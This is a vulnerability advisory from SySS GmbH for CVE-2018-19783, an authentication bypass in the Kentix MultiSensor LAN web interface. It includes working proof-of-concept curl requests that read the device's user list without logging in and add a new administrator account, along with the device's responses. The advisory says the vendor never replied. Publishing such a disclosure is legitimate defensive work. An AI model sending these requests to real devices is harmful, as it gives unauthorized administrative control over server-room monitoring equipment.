Risk Level: High

CVE Reference: CVE-2018-19783
Authors of Advisory: Micha Borrmann (SySS GmbH)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
Kentix MultiSensor LAN is a web-based management solution for monitoring
server rooms (see [1]).
The web site authentication can be bypassed to add another administrator
account.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The web based application is not using a usual session concept with
a session cookie for managing authenticated user sessions. Some URLs
are protected with HTTP Basic Authentication, but the user management
web page can be accessed and used without any authentication.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The current user list can be read out without any authentication (all
values are Base64-encoded) using the following HTTP request:
$ curl --data 'action=0&A05000=1' --url http://$TARGETIP/io
{
"A05001":"YWRtaW4=",
"A05002":"KioqKioq",
"A05003":"",
"A05021":"MASKED",
"A05022":"KioqKioq",
"A05023":"MASKED",
"A05041":"MASKED",
"A05042":"KioqKioq",
"A05043":"MASKED",
"A05061":"",
"A05062":"",
"A05063":"",
"A05081":"",
"A05082":"",
"A05083":""
}
There are five possible accounts, which are represented with the
fields A0500[1-3], A0502[1-3], and so on. The first field is the user
name, the second is the masked password, and the last one is the
optional e-mail address.
With the following simple HTTP request another user account is
created (username and password are sent Base64-encoded, too):
$ curl --data 'action=1&A05061=MWJj&A05062=MWJj&save=3' --url http://$TARGETIP/io
{
"A05061":"MWJj",
"A05062":"KioqKioq"
}
With this created account, the web interface can be used very easily.
It can be verified that the user account was added successfully via
the previously shown HTTP request:
$ curl --data 'action=0&A05000=1' --url http://$TARGETIP/io
{
"A05001":"YWRtaW4=",
"A05002":"KioqKioq",
"A05003":"",
"A05021":"MASKED",
"A05022":"KioqKioq",
"A05023":"MASKED",
"A05041":"MASKED",
"A05042":"KioqKioq",
"A05043":"MASKED",
"A05061":"MWJj",
"A05062":"KioqKioq",
"A05063":"",
"A05081":"",
"A05082":"",
"A05083":""
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
As there was no response from the vendor, SySS GmbH is not aware of a
solution for this security issue.
Kentix MultiSensor LAN devices should be operated only in firewall
protected LANs with enabled network access control to reduce the risk
of unauthorized manipulations.
